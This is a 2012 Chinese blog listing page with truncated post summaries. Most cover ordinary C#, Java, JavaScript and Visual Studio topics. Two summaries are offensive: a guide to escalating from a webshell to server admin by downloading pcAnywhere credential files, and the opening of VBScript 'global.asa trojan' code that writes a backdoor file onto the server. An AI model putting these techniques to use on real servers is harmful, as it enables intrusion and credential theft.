摘要: 一次笔试中,考官的题目:给你一个字符串String strs ="1234abcd中国威武!";分别区别出 数字、汉字、字符和其他符号等!下面给出一个方法,大家看看! 1 public class ToStringCount { 2 3 /** 4 * @param args 5 */ 6 public static void main(String[] args) { 7 // TODO Auto-generated method stub 8 String str ="1234abcd中国威武!"; 9 ... 阅读全文
posted @ 2012-06-21 13:46 蹲着墙头拉红杏 阅读(432) 评论(1) 推荐(0) 编辑
摘要: 先占个位置,稍后更新……刚刚用到而已!学习中! 阅读全文
posted @ 2012-06-05 09:34 蹲着墙头拉红杏 阅读(162) 评论(0) 推荐(0) 编辑
摘要: 项目转到 VS2008 上,在App_code里建的类无在项目中访问到,尝试加命名空间也不行,后来看到一些文章介绍说 ,"在 VS2008下,cs类文件的“生成操作”默认是内容 ,如果为“内容”的话,这个类将无法有效在项目中共享。因为每次生成整个项目,需要编译这个类为dll,而内容类型的这个*.cs文件仅仅是1个文本文件而i已,所以如果想让app_code中的类共享的话,需要在 app_code 中在类的文件上,点鼠标右键,选择属性,把生成操作只改为“编译”。然后重新生成下 ,再试试!类可以共享了! 阅读全文
posted @ 2012-05-31 10:41 蹲着墙头拉红杏 阅读(1152) 评论(1) 推荐(3) 编辑
摘要: 今天写了端连接数据库的公用方法,在写 数据访问基础类时,斟酌了下静态方法和实例方法,其实静态方法和实例方法是一样的,在类型第一次被使用时加载。到底用哪个比较好呢?效率:两者调用的速度基本上也没有差别。但是静态方法不用创建实例就可调用,比较简单。从面向对象的角度上来说,在抉择使用实例化方法或静态方法时,应该根据是否该方法和实例化对象具有逻辑上的相关性,如果是就应该使用实例化对象 反之使用静态方法。这只是从面向对象角度上来说的。安全:如果从线程安全、性能、兼容性上来看 也是选用实例化方法为宜。内存:静态方法:常驻内存!相当于静态变量!直到整个系统被销毁。 非静态方法:根据需要分配的原则,需要用时. 阅读全文
posted @ 2012-05-30 16:25 蹲着墙头拉红杏 阅读(2158) 评论(17) 推荐(1) 编辑
摘要: 碰到一个项目,在VS2005 下是 正常的,但是当你转换到 vS2008后,编译时,发现提示出错,出错位置是 提示 “提示当前上下文中不存在ScriptManager”。然后在我该项目的 引用中发现 System.Web.Extension.dll 是 有黄色提示的!我先删除了 引用中的 System.Web.Extension.dll最后,我把所有项目的framework都转为3.5的版本(方法:在项目上点鼠标右键, 在目标 framework下 选择 3.5 ),然后在 该项目中添加引用System.Web.Extension.dll和 System.Web.Extensions.Desi 阅读全文
posted @ 2012-05-30 10:05 蹲着墙头拉红杏 阅读(467) 评论(0) 推荐(0) 编辑
摘要: 首先我们看看数组的分类:从数组的下标分为索引数组、关联数组 /* 索引数组,即通常情况下所说的数组 */ var ary1 = [1,3,5,8]; //按索引去取数组元素,从0开始(当然某些语言实现从1开始),索引实际上就是序数,一个整型数字 ary1[0]; ary1[1]; ary1[2]; ary1[3]; /* 关联数组,指以非序数类型为下标来存取的数组 python中称为字典 */ var ary2 = {}; //存取时,以非序数(数字),这里是字符串 ary2["one"] = 1; ary2["two"] = 2; ary2[" 阅读全文
posted @ 2012-05-24 21:21 蹲着墙头拉红杏 阅读(1282) 评论(8) 推荐(2) 编辑
摘要: -C#初学者经常被问的几道辨析题,值类型与引用类型,装箱与拆箱,堆栈,这几个概念组合之间区别,看完此篇应该可以解惑。 俗话说,用思想编程的是文艺程序猿,用经验编程的是普通程序猿,用复制粘贴编程的是2B程序猿,开个玩笑^_^。 相信有过C#面试经历的人,对下面这句话一定不陌生: 值类型直接存储其值,引用类型存储对值的引用,值类型存在堆栈上,引用类型存储在托管堆上,值类型转为引用类型叫做装箱,引用类型转为值类型叫拆箱。 但仅仅背过这句话是不够的。 C#程序员不必手工管理内存,但要编写高效的代码,就仍需理解后台发生的事情。 在学校的时候老师们最常说的一句话是:概念不清。最简单的例子,我熟... 阅读全文
posted @ 2012-05-20 22:48 蹲着墙头拉红杏 阅读(1961) 评论(11) 推荐(5) 编辑
摘要: 装箱与拆箱 int i = 1; object o = i; //装箱 int j = (int)o; //拆箱 int i=1; //在堆栈中分配了一个4个字节的空间来存储变量 i 。 object o=i; 装箱的过程: 首先在堆栈中分配一个4个字节的空间来存储引用变量 o, 然后在托管堆中分配了一定的空间来存储 i 的拷贝,这个空间会比 i 所占的空间稍大些,多了一个方法表指针和一个SyncBlockIndex,并返回该内存地址。 最后把这个地址赋值给变量o,o就是指向对象的引用了。o的值不论怎么变化,i 的值也不会变,相反你 i 的值变化,o也不会变,因为它们存储在不同... 阅读全文
posted @ 2012-05-20 22:43 蹲着墙头拉红杏 阅读(200) 评论(0) 推荐(0) 编辑
摘要: 网络安全 说到花了九牛二虎的力气获得了一个webshell, 当然还想继续获得整个服务器的admin权限,正如不想得到admin的不是好黑客~ 嘻嘻~~好跟我来,看看有什么可以利用的来提升权限 **************************************************************************** 第一 如果服务器上有装了pcanywhere服务端,管理员为了管理方便 也给了我们方便,到系统盘的Documents and Settings/All Us ers/Application Data/Symantec/pcAnywhere/中下载*.c 阅读全文
posted @ 2012-04-16 08:54 蹲着墙头拉红杏 阅读(298) 评论(0) 推荐(0) 编辑
摘要: 最近流行的global.asa木马代码实例:函数一:用来创建global.asa文件:Public Function createasa(ByVal Content)On Error Resume NextSet fso = Server.CreateObject("scripting.filesystemobject")set f=fso.Getfile("//./" & Server.MapPath("/global.asa"))f.Attributes=0Set Obj = Server.CreateObject(&qu 阅读全文
posted @ 2012-04-16 08:53 蹲着墙头拉红杏 阅读(548) 评论(0) 推荐(0) 编辑